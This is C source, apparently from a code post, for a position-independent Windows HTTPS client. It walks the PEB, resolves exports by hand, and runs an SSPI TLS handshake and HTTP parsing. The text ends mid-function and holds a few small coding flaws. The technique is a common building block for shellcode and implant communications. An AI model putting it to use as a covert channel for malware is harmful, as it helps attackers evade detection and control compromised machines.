Don't code like this: HTTPS Post and Get with Position Independent Windows Sockets
#define _WIN32_WINNT 0x0601
#define SECURITY_WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <security.h>
#define SCHANNEL_CRED_VERSION 0x00000004
#define SCH_CRED_NO_DEFAULT_CREDS 0x00000010
#define SCH_CRED_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT 0x00000400
#define SECPKG_ATTR_REMOTE_CERT_CONTEXT 0x53
#define RTL_MAX_DRIVE_LETTERS 32
#define MAXIMUM_LEADBYTES 12
typedef _Function_class_(FN_DISPATCH) NTSTATUS NTAPI FN_DISPATCH(_In_opt_ PVOID Context);
typedef FN_DISPATCH* PFN_DISPATCH;
#define GDI_HANDLE_BUFFER_SIZE32 34
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
typedef _Function_class_(PS_POST_PROCESS_INIT_ROUTINE)VOID NTAPI PS_POST_PROCESS_INIT_ROUTINE(VOID);
typedef PS_POST_PROCESS_INIT_ROUTINE* PPS_POST_PROCESS_INIT_ROUTINE;
typedef struct _LEAP_SECOND_DATA* PLEAP_SECOND_DATA;
//PEB headers go here .............
//.................................
typedef struct _SCHANNEL_CRED{
DWORD dwVersion;
DWORD cCreds;
PCCERT_CONTEXT* paCred;
HCERTSTORE hRootStore;
DWORD cMappers;
struct _HMAPPER** aphMappers;
DWORD cSupportedAlgs;
ALG_ID* palgSupportedAlgs;
DWORD grbitEnabledProtocols;
DWORD dwMinimumCipherStrength;
DWORD dwMaximumCipherStrength;
DWORD dwSessionLifespan;
DWORD dwFlags;
DWORD dwCredFormat;
} SCHANNEL_CRED, * PSCHANNEL_CRED;
PPEB GetPeb(VOID)
{
#if defined(_WIN64)
return (PPEB)__readgsqword(0x60);
#elif define(_WIN32)
return (PPEB)__readfsdword(0x30);
#endif
}
#define DEFAULT_BUFFER_ALLOCATION_SIZE 16384
#define DEFAULT_HTTPHEADER_GET_SIZE 68
#define DEFAULT_HTTPHEADER_POST_OCTETSTREAM_SIZE 104
#define InlineGetMinimum(a,b)(((a) < (b)) ? (a) : (b))
#define HTTP_CR '\r'
#define HTTP_LF '\n'
#define HTTP_SP ' '
#define HTTP_TB '\t'
#define HTTP_CO ':'
#define HTTP_DELIMITED_LENGTH 3
#define HTTP_DELIMITER "\r\n"
typedef NTSTATUS(NTAPI* LDRLOADDLL) (PWCHAR, DWORD, PUNICODE_STRING, PHANDLE);
typedef PVOID(NTAPI* RTLALLOCATEHEAP)(PVOID, ULONG, SIZE_T);
typedef BOOL(NTAPI* RTLFREEHEAP)(PVOID, ULONG, PVOID);
typedef INT(WINAPI* WSASTARTUP)(WORD, LPWSADATA);
typedef INT(WINAPI* WSACLEANUP)(VOID);
typedef INT(WINAPI* WSACONNECTSOCKET)(SOCKET, SOCKADDR*, INT, PVOID, PVOID, PVOID, PVOID);
typedef INT(WINAPI* WSACLOSECOCKET)(SOCKET);
typedef SOCKET(WINAPI* WSABINDSOCKETTOTRANSPORTPROVIDER)(INT, INT, INT, LPWSAPROTOCOL_INFOW, GROUP, DWORD);
typedef INT(WINAPI* WSAUNICODEHOSTTOADDRESS)(PCWSTR, PCWSTR, ADDRINFOW*, PADDRINFOW*);
typedef VOID(WINAPI* WSAFREEADDRESSRINFORMATION)(PADDRINFOW);
typedef INT(WINAPI* WSASENDBUFFER)(SOCKET, PCHAR, INT, INT);
typedef INT(WINAPI* WSARECEIVEBUFFER)(SOCKET, PCHAR, INT, INT);
typedef PVOID(WINAPI* INITIALIZESSPIFUNCTIONTABLE)(VOID);
typedef VOID(WINAPI* CERTFREECERTIFICATECHAIN)(PCCERT_CHAIN_CONTEXT);
typedef BOOL(WINAPI* CERTFREECERTIFICATECONTEXT)(PCCERT_CONTEXT);
typedef BOOL(WINAPI* CERTVERIFYCERTIFICATECHAINPOLICY)(LPCSTR, PCCERT_CHAIN_CONTEXT, PCERT_CHAIN_POLICY_PARA, PCERT_CHAIN_POLICY_STATUS);
typedef BOOL(WINAPI* CERTGETCERTIFICATECHAIN)(HCERTCHAINENGINE, PCCERT_CONTEXT, LPFILETIME, HCERTSTORE, PCERT_CHAIN_PARA, DWORD, LPVOID, PCCERT_CHAIN_CONTEXT*);
typedef struct _TLSCLIENT {
CredHandle Cred;
BOOL CredFlag;
CtxtHandle Context;
BOOL ContextFlag;
SecPkgContext_StreamSizes Sizes;
}TLSCLIENT, *PTLSCLIENT;
typedef struct _HTTP_HEADER {
PCHAR Name;
PCHAR Value;
} HTTP_HEADER, * PHTTP_HEADER;
typedef struct _HTTP_RESPONSE {
INT StatusCode;
PCHAR Reason;
SIZE_T ReasonLength;
HTTP_HEADER Headers[64];
SIZE_T HeaderCount;
PBYTE Body;
SIZE_T BodyLength;
} HTTP_RESPONSE, * PHTTP_RESPONSE;
typedef struct _LOADOBJECT {
UNICODE_STRING String;
DWORD64 Base;
}LOADOBJECT, *PLOADOBJECT;
typedef struct _API_TABLE{
LDRLOADDLL LdrLoadDll;
RTLALLOCATEHEAP RtlAllocateHeap;
RTLFREEHEAP RtlFreeHeap;
INITIALIZESSPIFUNCTIONTABLE InitializeSspiFunctionTable;
PSecurityFunctionTableW SspiVirtualFunctionTable;
WSASTARTUP WsaStartup;
WSACLEANUP WsaCleanup;
WSACONNECTSOCKET WsaConnectSocket;
WSACLOSECOCKET WsaCloseSocket;
WSABINDSOCKETTOTRANSPORTPROVIDER WsaBindSocketToTransportProvider;
WSAUNICODEHOSTTOADDRESS WsaUnicodeHostToAddress;
WSAFREEADDRESSRINFORMATION WsaFreeAddressInformation;
WSASENDBUFFER WsaSendBuffer;
WSARECEIVEBUFFER WsaReceiveBuffer;
CERTFREECERTIFICATECHAIN CertFreeCertificateChain;
CERTFREECERTIFICATECONTEXT CertFreeCertificateContext;
CERTVERIFYCERTIFICATECHAINPOLICY CertVerifyCertificateChainPolicy;
CERTGETCERTIFICATECHAIN CertGetCertificateChain;
}API_TABLE, * PAPI_TABLE;
VOID ImplZeroMemory2(PVOID Destination, SIZE_T Size)
{
PCHAR Pointer = (PCHAR)Destination;
PCHAR End = Pointer + Size;
for (;;)
{
if (Pointer >= End) break; *Pointer++ = 0;
if (Pointer >= End) break; *Pointer++ = 0;
if (Pointer >= End) break; *Pointer++ = 0;
if (Pointer >= End) break; *Pointer++ = 0;
}
}
VOID RtlInitializeSecurityBuffer(SecBuffer* SecurityBuffer, ULONG BufferType, ULONG cbBuffer, PVOID pvBuffer)
{
SecurityBuffer->BufferType = BufferType;
SecurityBuffer->cbBuffer = cbBuffer;
SecurityBuffer->pvBuffer = pvBuffer;
}
VOID RtlInitializeSecurityDescription(SecBufferDesc* SecurityDescription, ULONG ulVersion, ULONG cBuffers, PSecBuffer pBuffers)
{
SecurityDescription->ulVersion = ulVersion;
SecurityDescription->cBuffers = cBuffers;
SecurityDescription->pBuffers = pBuffers;
}
PVOID CopyMemoryEx(_Inout_ PVOID Destination, _In_ CONST PVOID Source, _In_ SIZE_T Length)
{
PBYTE D = (PBYTE)Destination;
PBYTE S = (PBYTE)Source;
while (Length--)
*D++ = *S++;
return Destination;
}
SIZE_T StringLengthA(PCHAR String)
{
PCHAR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
PCHAR StringCopyA(PCHAR String1, PCHAR String2)
{
PCHAR p = String1;
while ((*p++ = *String2++) != 0);
return String1;
}
PCHAR StringConcatA(PCHAR String, PCHAR String2)
{
StringCopyA(&String[StringLengthA(String)], String2);
return String;
}
VOID ImplFreeContextBuffer(PAPI_TABLE Api, PVOID Buffer)
{
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, Buffer);
return;
}
PCHAR IncrementPointerNoMutate(PCHAR p)
{
return p ? p + 1 : NULL;
}
PCHAR IncrementPointerNoMutateOffset(PCHAR p, SIZE_T Offset)
{
return p ? p + Offset : NULL;
}
INT CompareMemory(PVOID MemoryA, PVOID MemoryB, SIZE_T Length)
{
PBYTE Pointer1 = (PBYTE)MemoryA;
PBYTE Pointer2 = (PBYTE)MemoryB;
while (Length--)
{
if (*Pointer1 != *Pointer2)
return (INT)(*Pointer1 - *Pointer2);
Pointer1++;
Pointer2++;
}
return 0;
}
PCHAR FindStringInMemoryRegion(PCHAR Buffer, SIZE_T BufferLength, PCHAR String, SIZE_T StringLength)
{
for (SIZE_T i = 0; i + StringLength <= BufferLength; i++)
{
if (CompareMemory(Buffer + i, String, StringLength) == 0)
return Buffer + i;
}
return NULL;
}
INT LowercaseCharacter(INT Character)
{
if (Character >= 'A' && Character <= 'Z')
return (Character - 'A' + 'a');
return Character;
}
INT StringCompareByLengthLowerA(PCHAR String1, PCHAR String2, SIZE_T Length)
{
INT Lower1 = 0;
INT Lower2 = 0;
for (SIZE_T i = 0; i < Length; i++)
{
Lower1 = LowercaseCharacter((BYTE)String1[i]);
Lower2 = LowercaseCharacter((BYTE)String2[i]);
if (Lower1 != Lower2)
return (Lower1 - Lower2);
if ((BYTE)String1[i] == 0)
return 0;
}
return 0;
}
INT StringCompareA(LPCSTR String1, LPCSTR String2)
{
for (; *String1 == *String2; String1++, String2++)
{
if (*String1 == '\0')
return 0;
}
return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1);
}
PVOID HttpFindByte(PVOID Buffer, INT Target, SIZE_T Length)
{
PBYTE Pointer = (PBYTE)Buffer;
PBYTE End = (PBYTE)IncrementPointerNoMutateOffset((PCHAR)Buffer, Length);
BYTE TargetByte = Target;
for (; Pointer < End; Pointer++)
{
if (*Pointer == TargetByte)
return (PVOID)Pointer;
}
return NULL;
}
INT GetHttpStatusCode(PCHAR Buffer, SIZE_T Length)
{
INT Status = 0;
for (SIZE_T i = 0; i < Length; i++)
{
if (Buffer[i] < '0' || Buffer[i] > '9')
return -1;
Status = (Status * 10) + (Buffer[i] - '0');
}
if (Status < 100 || Status > 599)
return -1;
return Status;
}
PCHAR ParseHttpHeaderValue(PAPI_TABLE Api, PCHAR String, SIZE_T Count)
{
PCHAR Out = (PCHAR)Api->RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Count + 1);
if (Out == NULL)
return NULL;
CopyMemory(Out, String, Count);
Out[Count] = '\0';
return Out;
}
PCHAR HttpUSizeToDecimalA(SIZE_T Value, PCHAR Out, SIZE_T OutSize)
{
SIZE_T i = 0;
if (Value == 0)
{
Out[0] = '0';
Out[1] = '\0';
return Out;
}
while (Value != 0)
{
if (i + 1 >= OutSize)
return NULL;
Out[i++] = (CHAR)('0' + (Value % 10));
Value /= 10;
}
for (SIZE_T FrontIndex = 0, BackIndex = i - 1; FrontIndex < BackIndex; FrontIndex++, BackIndex--)
{
CHAR Object = Out[FrontIndex];
Out[FrontIndex] = Out[BackIndex];
Out[BackIndex] = Object;
}
Out[i] = '\0';
return Out;
}
SIZE_T StringLengthW(_In_ LPCWSTR String)
{
LPCWSTR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
VOID RtlInitUnicodeString(_Inout_ PUNICODE_STRING DestinationString, _In_ PCWSTR SourceString)
{
SIZE_T DestSize;
if (SourceString)
{
DestSize = StringLengthW(SourceString) * sizeof(WCHAR);
DestinationString->Length = (USHORT)DestSize;
DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR);
}
else
{
DestinationString->Length = 0;
DestinationString->MaximumLength = 0;
}
DestinationString->Buffer = (PWCHAR)SourceString;
}
BOOL RtlLoadPeHeaders(PIMAGE_DOS_HEADER* Dos, PIMAGE_NT_HEADERS* Nt, PIMAGE_FILE_HEADER* File, PIMAGE_OPTIONAL_HEADER* Optional, PBYTE* ImageBase)
{
*Dos = (PIMAGE_DOS_HEADER)*ImageBase;
if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
*Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew);
if ((*Nt)->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
*File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD));
*Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER));
return TRUE;
}
DWORD64 ImportFunction(DWORD64 ModuleBase, PCHAR Function)
{
PBYTE pFunctionName;
PIMAGE_DOS_HEADER Dos;
PIMAGE_NT_HEADERS Nt;
PIMAGE_FILE_HEADER File;
PIMAGE_OPTIONAL_HEADER Optional;
RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ModuleBase);
IMAGE_EXPORT_DIRECTORY* ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions);
PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals);
DWORD dwX;
for (dwX = 0; dwX < ExportTable->NumberOfNames; dwX++)
{
pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)ModuleBase;
if(StringCompareA(Function, (PCHAR)(FunctionNameAddressArray[dwX] + (PBYTE)ModuleBase)) == 0)
return ((DWORD64)ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]]);
}
return ERROR_SUCCESS;
}
VOID FreeHttpResponse(PAPI_TABLE Api, PHTTP_RESPONSE Response)
{
if (Response->Reason)
{
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, (PVOID)Response->Reason);
Response->Reason = NULL;
Response->ReasonLength = 0;
}
for (SIZE_T i = 0; i < Response->HeaderCount; i++)
{
if (Response->Headers[i].Name)
{
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, (PVOID)Response->Headers[i].Name);
Response->Headers[i].Name = NULL;
}
if (Response->Headers[i].Value)
{
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, (PVOID)Response->Headers[i].Value);
Response->Headers[i].Value = NULL;
}
}
Response->HeaderCount = 0;
}
PCHAR HttpGetCrlf(PCHAR Start, PCHAR End)
{
for (PCHAR p = Start; IncrementPointerNoMutate(p) < End; p++)
{
if (p[0] == HTTP_CR && p[1] == HTTP_LF)
return p;
}
return NULL;
}
PBYTE RtlProcessInitialHttpHeaderClrf(PBYTE Data, SIZE_T Length)
{
PCHAR HttpBufferStart = (PCHAR)Data;
PCHAR HttpBufferEnd = IncrementPointerNoMutateOffset(HttpBufferStart, Length);
PCHAR InitialCrlfObject = HttpGetCrlf(HttpBufferStart, HttpBufferEnd);
for (PCHAR CrlfObjectNext = NULL; InitialCrlfObject;)
{
CrlfObjectNext = IncrementPointerNoMutateOffset(InitialCrlfObject, 2);
if (IncrementPointerNoMutate(CrlfObjectNext) < HttpBufferEnd && CrlfObjectNext[0] == HTTP_CR && CrlfObjectNext[1] == HTTP_LF)
return (PBYTE)InitialCrlfObject;
InitialCrlfObject = HttpGetCrlf(IncrementPointerNoMutateOffset(InitialCrlfObject, 2), HttpBufferEnd);
}
return NULL;
}
BOOL ProcessHttpResponseData(PAPI_TABLE Api, PBYTE Data, SIZE_T DataLength, PHTTP_RESPONSE Response)
{
PBYTE HeaderDelimitedObject = NULL;
PCHAR HttpHeaderStart = NULL;
PCHAR HttpHeaderEnd = NULL;
PCHAR LineTerminationPointer = NULL;
PCHAR VersionEnd = NULL;
PCHAR StatusCodeEnd = NULL;
HeaderDelimitedObject = RtlProcessInitialHttpHeaderClrf(Data, DataLength);
if (!HeaderDelimitedObject)
return FALSE;
HttpHeaderStart = (PCHAR)Data;
HttpHeaderEnd = (PCHAR)Data + (SIZE_T)(HeaderDelimitedObject - Data);
LineTerminationPointer = HttpGetCrlf(HttpHeaderStart, HttpHeaderEnd);
if (!LineTerminationPointer)
return FALSE;
VersionEnd = (PCHAR)HttpFindByte((PVOID)HttpHeaderStart, HTTP_SP, (SIZE_T)(LineTerminationPointer - HttpHeaderStart));
StatusCodeEnd = (PCHAR)HttpFindByte((PVOID)IncrementPointerNoMutate(VersionEnd), HTTP_SP, (SIZE_T)(LineTerminationPointer - IncrementPointerNoMutate(VersionEnd)));
if (!VersionEnd || !StatusCodeEnd)
return FALSE;
Response->StatusCode = GetHttpStatusCode(IncrementPointerNoMutate(VersionEnd), (SIZE_T)(StatusCodeEnd - IncrementPointerNoMutate(VersionEnd)));
if (Response->StatusCode < 0)
return FALSE;
Response->Reason = ParseHttpHeaderValue(Api, (PCHAR)IncrementPointerNoMutate(StatusCodeEnd), (SIZE_T)(LineTerminationPointer - (IncrementPointerNoMutate(StatusCodeEnd))));
if (Response->Reason == NULL)
return FALSE;
HttpHeaderStart = (PCHAR)IncrementPointerNoMutateOffset(LineTerminationPointer, 2);
for(PCHAR HttpLineEndObject = NULL, HttpParseDelimiterPointer = NULL, HttpParseValuePointer = NULL; HttpHeaderStart < HttpHeaderEnd;)
{
HttpLineEndObject = NULL;
HttpParseDelimiterPointer = NULL;
HttpParseValuePointer = NULL;
if ((SIZE_T)(HttpHeaderEnd - HttpHeaderStart) < 2)
break;
HttpLineEndObject = HttpGetCrlf(HttpHeaderStart, HttpHeaderEnd);
if (!HttpLineEndObject)
break;
HttpParseDelimiterPointer = (PCHAR)HttpFindByte((PVOID)HttpHeaderStart, HTTP_CO, (SIZE_T)(HttpLineEndObject - HttpHeaderStart));
if (HttpParseDelimiterPointer && Response->HeaderCount < 64)
{
HttpParseValuePointer = IncrementPointerNoMutate(HttpParseDelimiterPointer);
while (HttpParseValuePointer < HttpLineEndObject && (*HttpParseValuePointer == HTTP_SP || *HttpParseValuePointer == HTTP_TB))
HttpParseValuePointer++;
Response->Headers[Response->HeaderCount].Name = ParseHttpHeaderValue(Api, HttpHeaderStart, (SIZE_T)(HttpParseDelimiterPointer - HttpHeaderStart));
Response->Headers[Response->HeaderCount].Value = ParseHttpHeaderValue(Api, HttpParseValuePointer, (SIZE_T)(HttpLineEndObject - HttpParseValuePointer));
if (!Response->Headers[Response->HeaderCount].Value || !Response->Headers[Response->HeaderCount].Name)
return FALSE;
Response->HeaderCount++;
}
HttpHeaderStart = IncrementPointerNoMutateOffset(HttpLineEndObject, 2);
}
Response->Body = (PBYTE)IncrementPointerNoMutateOffset((PCHAR)HeaderDelimitedObject, 4);
Response->BodyLength = DataLength - (SIZE_T)(Response->Body - Data);
return TRUE;
}
INT WsaTransmitTcpSocket(PAPI_TABLE Api, SOCKET Socket, PVOID Buffer, INT Length)
{
PCHAR p = (PCHAR)Buffer;
INT Sent = 0;
for (INT BytesSentIncremental = 0; Sent < Length;)
{
BytesSentIncremental = Api->WsaSendBuffer(Socket, IncrementPointerNoMutateOffset(p, Sent), Length - Sent, 0);
if (BytesSentIncremental <= 0)
return BytesSentIncremental;
Sent += BytesSentIncremental;
}
return Sent;
}
SOCKET WsaTcpInitializeConnection(PAPI_TABLE Api, PWCHAR HostUrl, PWCHAR Port)
{
SOCKET Socket = INVALID_SOCKET;
ADDRINFOW* Result = NULL;
ADDRINFOW Info = { 0 };
Info.ai_family = AF_UNSPEC;
Info.ai_socktype = SOCK_STREAM;
Info.ai_protocol = IPPROTO_TCP;
if(Api->WsaUnicodeHostToAddress(HostUrl, Port, &Info, &Result) != ERROR_SUCCESS)
return NULL;
for (ADDRINFOW* p = Result; p; p = p->ai_next)
{
Socket = (SOCKET)Api->WsaBindSocketToTransportProvider(p->ai_family, p->ai_socktype, p->ai_protocol, NULL, 0, 0);
if (Socket == NULL)
continue;
if (Api->WsaConnectSocket(Socket, p->ai_addr, (INT)p->ai_addrlen, NULL, NULL, NULL, NULL) == 0)
{
Api->WsaFreeAddressInformation(Result);
return Socket;
}
Api->WsaCloseSocket(Socket);
}
Api->WsaFreeAddressInformation(Result);
return INVALID_SOCKET;
}
BOOL WsaPerformTlsHandshake(PAPI_TABLE Api, PTLSCLIENT TlsClient, SOCKET Socket, PWCHAR Host)
{
SECURITY_STATUS SecurityStatus = 0;
TimeStamp Expiration;
ImplZeroMemory2(&Expiration, sizeof(Expiration));
PBYTE Data = NULL;
DWORD Length = 0;
BOOL bFlag = FALSE;
DWORD ContextRequirement = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY | ISC_REQ_EXTENDED_ERROR | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM;
SCHANNEL_CRED ChannelCredential;
ImplZeroMemory2(&ChannelCredential, sizeof(ChannelCredential));
ChannelCredential.dwVersion = SCHANNEL_CRED_VERSION;
ChannelCredential.dwFlags = SCH_CRED_NO_DEFAULT_CREDS | SCH_CRED_REVOCATION_CHECK_CHAIN_EXCLUDE_ROOT;
SecBufferDesc OutputSecurityDescription;
ImplZeroMemory2(&OutputSecurityDescription, sizeof(OutputSecurityDescription));
SecBuffer OutputSecurityBuffer;
ImplZeroMemory2(&OutputSecurityBuffer, sizeof(OutputSecurityBuffer));
SecBufferDesc InputSecurityDescription;
ImplZeroMemory2(&InputSecurityDescription, sizeof(InputSecurityDescription));
SecBuffer InputSecurityBuffer[2];
ImplZeroMemory2(&InputSecurityBuffer, sizeof(InputSecurityBuffer));
PCCERT_CONTEXT ServerCertificate = NULL;
CERT_CHAIN_PARA CertChainParameters;
ImplZeroMemory2(&CertChainParameters, sizeof(CertChainParameters));
CertChainParameters.cbSize = sizeof(CertChainParameters);
PCCERT_CHAIN_CONTEXT ChainContext = NULL;
SSL_EXTRA_CERT_CHAIN_POLICY_PARA Extra;
ImplZeroMemory2(&Extra, sizeof(Extra));
Extra.cbSize = sizeof(Extra);
Extra.dwAuthType = AUTHTYPE_SERVER;
Extra.pwszServerName = Host;
CERT_CHAIN_POLICY_PARA Policy;
ImplZeroMemory2(&Policy, sizeof(Policy));
Policy.cbSize = sizeof(Policy);
Policy.pvExtraPolicyPara = &Extra;
CERT_CHAIN_POLICY_STATUS PolicyStatus;
ImplZeroMemory2(&PolicyStatus, sizeof(PolicyStatus));
PolicyStatus.cbSize = sizeof(PolicyStatus);
SecurityStatus = Api->SspiVirtualFunctionTable->AcquireCredentialsHandleW(
NULL,
(LPWSTR)L"Microsoft Unified Security Protocol Provider",
SECPKG_CRED_OUTBOUND,
NULL,
&ChannelCredential,
NULL,
NULL,
&TlsClient->Cred,
&Expiration);
if (SecurityStatus != SEC_E_OK)
return FALSE;
else
TlsClient->CredFlag = TRUE;
Data = (PBYTE)Api->RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFFER_ALLOCATION_SIZE);
if (Data == NULL)
goto EXIT_ROUTINE;
while(TRUE)
{
RtlInitializeSecurityBuffer(&InputSecurityBuffer[0], SECBUFFER_TOKEN, Length, ((Length > 0) ? Data : NULL));
RtlInitializeSecurityBuffer(&InputSecurityBuffer[1], SECBUFFER_EMPTY, 0, NULL);
RtlInitializeSecurityDescription(&InputSecurityDescription, SECBUFFER_VERSION, 2, InputSecurityBuffer);
RtlInitializeSecurityBuffer(&OutputSecurityBuffer, SECBUFFER_TOKEN, 0, NULL);
RtlInitializeSecurityDescription(&OutputSecurityDescription, SECBUFFER_VERSION, 1, &OutputSecurityBuffer);
DWORD ContextAttributes = ERROR_SUCCESS;
INT Sent = 0;
INT Received = 0;
ImplZeroMemory2(&Expiration, sizeof(TimeStamp));
SecurityStatus = 0;
if (!TlsClient->ContextFlag)
{
SecurityStatus = Api->SspiVirtualFunctionTable->InitializeSecurityContextW(
&TlsClient->Cred,
NULL,
Host,
ContextRequirement,
0,
SECURITY_NATIVE_DREP,
NULL,
0,
&TlsClient->Context,
&OutputSecurityDescription,
&ContextAttributes,
&Expiration);
TlsClient->ContextFlag = TRUE;
}
else {
SecurityStatus = Api->SspiVirtualFunctionTable->InitializeSecurityContextW(
&TlsClient->Cred,
&TlsClient->Context,
Host,
ContextRequirement,
0,
SECURITY_NATIVE_DREP,
&InputSecurityDescription,
0,
NULL,
&OutputSecurityDescription,
&ContextAttributes,
&Expiration);
}
if (OutputSecurityBuffer.pvBuffer && OutputSecurityBuffer.cbBuffer)
{
Sent = WsaTransmitTcpSocket(Api, Socket, OutputSecurityBuffer.pvBuffer, (INT)OutputSecurityBuffer.cbBuffer);
if (Sent <= 0)
goto EXIT_ROUTINE;
else
ImplFreeContextBuffer(Api, OutputSecurityBuffer.pvBuffer);
}
if (SecurityStatus == SEC_E_OK)
break;
if (SecurityStatus == SEC_I_CONTINUE_NEEDED || SecurityStatus == SEC_E_INCOMPLETE_MESSAGE)
{
if (InputSecurityBuffer[1].BufferType == SECBUFFER_EXTRA)
{
MoveMemory(Data, IncrementPointerNoMutateOffset((PCHAR)Data, (Length - InputSecurityBuffer[1].cbBuffer)), InputSecurityBuffer[1].cbBuffer);
Length = InputSecurityBuffer[1].cbBuffer;
}
else
Length = 0;
if (Length >= DEFAULT_BUFFER_ALLOCATION_SIZE)
goto EXIT_ROUTINE;
Received = Api->WsaReceiveBuffer(Socket, (PCHAR)Data + Length, (INT)(DEFAULT_BUFFER_ALLOCATION_SIZE - Length), 0);
if (Received <= 0)
goto EXIT_ROUTINE;
Length += (DWORD)Received;
}
else
goto EXIT_ROUTINE;
}
SecurityStatus = 0;
SecurityStatus = Api->SspiVirtualFunctionTable->QueryContextAttributesW(&TlsClient->Context, SECPKG_ATTR_STREAM_SIZES, &TlsClient->Sizes);
if (SecurityStatus != SEC_E_OK)
goto EXIT_ROUTINE;
SecurityStatus = 0;
SecurityStatus = Api->SspiVirtualFunctionTable->QueryContextAttributesW(&TlsClient->Context, SECPKG_ATTR_REMOTE_CERT_CONTEXT, (PVOID)&ServerCertificate);
if (SecurityStatus != SEC_E_OK || ServerCertificate == NULL)
goto EXIT_ROUTINE;
if (!Api->CertGetCertificateChain(NULL, ServerCertificate, NULL, ServerCertificate->hCertStore, &CertChainParameters, 0, NULL, &ChainContext))
goto EXIT_ROUTINE;
if (!Api->CertVerifyCertificateChainPolicy(CERT_CHAIN_POLICY_SSL, ChainContext, &Policy, &PolicyStatus))
goto EXIT_ROUTINE;
if (PolicyStatus.dwError != ERROR_SUCCESS)
goto EXIT_ROUTINE;
bFlag = TRUE;
EXIT_ROUTINE:
if (ChainContext)
Api->CertFreeCertificateChain(ChainContext);
if(ServerCertificate)
Api->CertFreeCertificateContext(ServerCertificate);
if (OutputSecurityBuffer.pvBuffer)
ImplFreeContextBuffer(Api, OutputSecurityBuffer.pvBuffer);
if (Data)
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, Data);
return bFlag;
}
BOOL WsaTlsSend(PAPI_TABLE Api, PTLSCLIENT TlsClient, SOCKET Socket, PBYTE Data, SIZE_T Length)
{
SECURITY_STATUS SecurityStatus = 0;
SIZE_T Offset = 0;
PBYTE Buffer = NULL;
BOOL bFlag = FALSE;
INT BytesReceived = 0;
for (DWORD Fragment = 0, BufferSize = 0; Offset < Length;)
{
SecBuffer SecurityBufferObjectArray[4] = { 0 };
SecBufferDesc SecurityDescription = { 0 };
Fragment = (DWORD)InlineGetMinimum((SIZE_T)TlsClient->Sizes.cbMaximumMessage, Length - Offset);
BufferSize = TlsClient->Sizes.cbHeader + Fragment + TlsClient->Sizes.cbTrailer;
Buffer = (PBYTE)Api->RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, BufferSize);
if (Buffer == NULL)
goto EXIT_ROUTINE;
CopyMemoryEx(Buffer + TlsClient->Sizes.cbHeader, IncrementPointerNoMutateOffset((PCHAR)Data, Offset), Fragment);
RtlInitializeSecurityBuffer(
&SecurityBufferObjectArray[0],
SECBUFFER_STREAM_HEADER,
TlsClient->Sizes.cbHeader,
Buffer);
RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[1],
SECBUFFER_DATA,
Fragment,
IncrementPointerNoMutateOffset((PCHAR)Buffer, TlsClient->Sizes.cbHeader));
RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[2],
SECBUFFER_STREAM_TRAILER,
TlsClient->Sizes.cbTrailer,
IncrementPointerNoMutateOffset((PCHAR)Buffer, TlsClient->Sizes.cbHeader + Fragment));
RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[3], SECBUFFER_EMPTY, 0, NULL);
RtlInitializeSecurityDescription(&SecurityDescription, SECBUFFER_VERSION, 4, SecurityBufferObjectArray);
SecurityStatus = Api->SspiVirtualFunctionTable->EncryptMessage(&TlsClient->Context, 0, &SecurityDescription, 0);
if (SecurityStatus != SEC_E_OK)
goto EXIT_ROUTINE;
if (WsaTransmitTcpSocket(Api, Socket, Buffer, (INT)(SecurityBufferObjectArray[0].cbBuffer + SecurityBufferObjectArray[1].cbBuffer + SecurityBufferObjectArray[2].cbBuffer)) <= 0)
goto EXIT_ROUTINE;
if (Buffer)
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, Buffer);
Buffer = NULL;
Offset += Fragment;
}
bFlag = TRUE;
EXIT_ROUTINE:
if (Buffer)
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, Buffer);
return bFlag;
}
BOOL WsaProcessIncomingResponseBuffer(PAPI_TABLE Api, PBYTE* Buffer, PSIZE_T Length, PBYTE Response, SIZE_T ResponseLength)
{
SIZE_T AllocationBlock = *Length + ResponseLength;
PBYTE Object = NULL;
if (*Buffer == NULL)
Object = (PBYTE)Api->RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, AllocationBlock + 1);
else
Object = (PBYTE)HeapReAlloc(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, *Buffer, *Length + ResponseLength + 1);
